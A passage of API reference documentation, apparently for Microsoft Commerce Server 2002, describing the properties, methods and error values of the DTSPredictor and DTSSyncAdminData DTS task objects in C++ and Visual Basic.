[out, retval] When getting a property, a pointer to a BSTR that contains the name of the model to rebuild.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_NumRetries, put_NumRetries Property [C++]

DTSPredictor.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made that will be made after a Predictor model build failure.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSPredictor::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a Predictor model build failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a Predictor model build failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_RetryInterval, put_RetryInterval Property [C++]

DTSPredictor.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry attempt after a failed Predictor model build.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSPredictor::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval [C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts after a failed Predictor model build.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts after a failed Predictor model build.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.SourceName

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_SourceName, put_SourceName Property [C++]

DTSPredictor.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Web site or Data Warehouse where the model to be rebuilt is stored.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSPredictor::put_SourceName(
 BSTR* SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a pointer to a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

When the SourceType property is set to srctypeSite (0) and the SourceName is unknown, the SourceName property should be set to "<UNKNOWN>" or empty string " ". If the SourceType property is set to srctypeSite (0) and SourceName is set to null, the value of that parameter will not change so it remains as it was previously set.

When the SourceType property is set to scrtypeDW (1), the SourceName property should be an empty string.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceType, put_SourceType

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceType

DTSPredictor.Version


_DTSPredictor::get_SourceType, put_SourceType Property [C++]

DTSPredictor.SourceType Property [Visual Basic]

The SourceType property is an enumeration that contains the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSPredictor::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the model specified by the ModelName and ModelCfgName properties will be rebuilt. If the SourceType property is set to scrtypeDW (1), all models with the model name specified by the ModelName property in the Data Warehouse will be rebuilt, regardless of their source model configuraion. The default value is srctypeSite (0). When using a Data Warehouse, the ModelCfgName property is unused and should be empty. When using srctypeSite (0), the ModelCfgName property must be used.

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_Version, put_Version

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.Version


_DTSPredictor::get_Version, put_Version Property [C++]

DTSPredictor.Version Property [Visual Basic]

The Version property is a read/write Long that contains the version number to be concatenated to the name of the model.

Definition

[C++]

Get method:

HRESULT _DTSPredictor::get_Version(
 long Version
);

Put method:

HRESULT _DTSPredictor::put_Version(
 long* Version
);
[Visual Basic]
Property Version() As Long

Parameters

Version[C++]
[in] When putting a property, a long that contains the version number of the model.
[out, retval] When getting a property, a pointer to a long that contains the version number of the model.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Version property is only used if the ArchiveType property is set to archtypeVersion(1).

See Also

Scripting the Model Builder DTS Task

[C++]

_DTSPredictor::get_ArchiveType, put_ArchiveType

_DTSPredictor::get_CustomRename, put_CustomRename

_DTSPredictor::CustomTask_Execute

_DTSPredictor::get_DWConnStr, put_DWConnStr

_DTSPredictor::get_ModelCfgName, put_ModelCfgName

_DTSPredictor::get_ModelName, put_ModelName

_DTSPredictor::get_NumRetries, put_NumRetries

_DTSPredictor::PersistPropertyBag_Load

_DTSPredictor::PersistPropertyBag_Save

_DTSPredictor::get_RetryInterval, put_RetryInterval

_DTSPredictor::get_SourceName, put_SourceName

_DTSPredictor::get_SourceType, put_SourceType

[Visual Basic]

DTSPredictor.ArchiveType

DTSPredictor.CustomRename

DTSPredictor.CustomTask_Execute

DTSPredictor.DWConnStr

DTSPredictor.ModelCfgName

DTSPredictor.ModelName

DTSPredictor.NumRetries

DTSPredictor.PersistPropertyBag_Load

DTSPredictor.PersistPropertyBag_Save

DTSPredictor.RetryInterval

DTSPredictor.SourceName

DTSPredictor.SourceType


DTSSyncAdminData Object [C++]

DTSSyncAdminData Object [Visual Basic]

Use this object to synchronize the Data Warehouse with your Commerce Server application after you make changes to configuration settings. This object should be run from within the context of a Data Transformation Services (DTS) package. The methods and properties should not be accessed directly. For more information about scripting the Configuration Synchronization DTS task, see Scripting the Configuration Synchronization DTS Task.

ProgID: | Commerce.DTSSyncAdminData (Externally creatable)
COM Class Name: | DTSSyncAdminData
Type Library Name: | Microsoft Commerce 2002 Sync Admin Data DTS Task Type Library
DLL Name: | CSDWDTSSyncAdmin.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSSyncAdminData
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSTransactionImport Object

DTSUPMCustomTask Object

[Visual Basic]

DTSCatalogImport Object

DTSDeleteImport Object

DTSIPResolution Object

DTSLogImport Object

DTSMarketingImport Object

DTSPostImport Object

DTSPredictor Object

DTSTransactionImport Object

DTSUPMCustomTask Object


_DTSSSyncAdminData Methods [C++]

_DTSSSyncAdminData Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSSyncAdminData::CustomTask_Execute Method [C++]

DTSSyncAdminData.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::PersistPropertyBag_Load Method [C++]

DTSSyncAdminData.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::PersistPropertyBag_Save Method [C++]

DTSSyncAdminData.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSSyncAdminData::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSSyncAdminData Properties [C++]

_DTSSSyncAdminData Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
NumRetries | long | Contains the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
RetryInterval | long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
NumRetries | Long | Contains the number of retry attempts. This property is read/write.
RetryInterval | Long | Contains the number of seconds between retry attempts. This property is read/write.
SourceName | String | Contains the name of the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that contains the level on which the DTS task will operate. This property is read/write.


_DTSSyncAdminData::get_NumRetries, put_NumRetries Property [C++]

DTSSyncAdminData.NumRetries Property [Visual Basic]

The NumRetries property contains the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSSyncAdminData::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[in] When putting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
[out,retval] When getting the property, a long that contains the number of retry attempts that will be made after a SQL connection/query failure.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_RetryInterval, put_RetryInterval Property [C++]

DTSSyncAdminData.RetryInterval Property [Visual Basic]

The RetryInterval property contains the amount of time, in seconds, that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSSyncAdminData::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[in] When putting the property, a long that contains the number of seconds between retry attempts.
[out,retval] When getting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_SourceName, put_SourceName

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.SourceName

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_SourceName, put_SourceName Property [C++]

DTSSyncAdminData.SourceName Property [Visual Basic]

The SourceName property is a String that contains the name of the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSSyncAdminData::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out,retval] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries

_DTSSyncAdminData::PersistPropertyBag_Load

_DTSSyncAdminData::PersistPropertyBag_Save

_DTSSyncAdminData::get_RetryInterval, put_RetryInterval

_DTSSyncAdminData::get_SourceType, put_SourceType

[Visual Basic]

DTSSyncAdminData.CustomTask_Execute

DTSSyncAdminData.NumRetries

DTSSyncAdminData.PersistPropertyBag_Load

DTSSyncAdminData.PersistPropertyBag_Save

DTSSyncAdminData.RetryInterval

DTSSyncAdminData.SourceType


_DTSSyncAdminData::get_SourceType, put_SourceType Property [C++]

DTSSyncAdminData.SourceType Property [Visual Basic]

The SourceType property is an enumeration that contains the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSSyncAdminData::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSSyncAdminData::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[in] When putting the property, a long that contains the type of source.
[out, retval] When getting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Configuration Synchronization DTS Task

[C++]

_DTSSyncAdminData::CustomTask_Execute

_DTSSyncAdminData::get_NumRetries, put_NumRetries
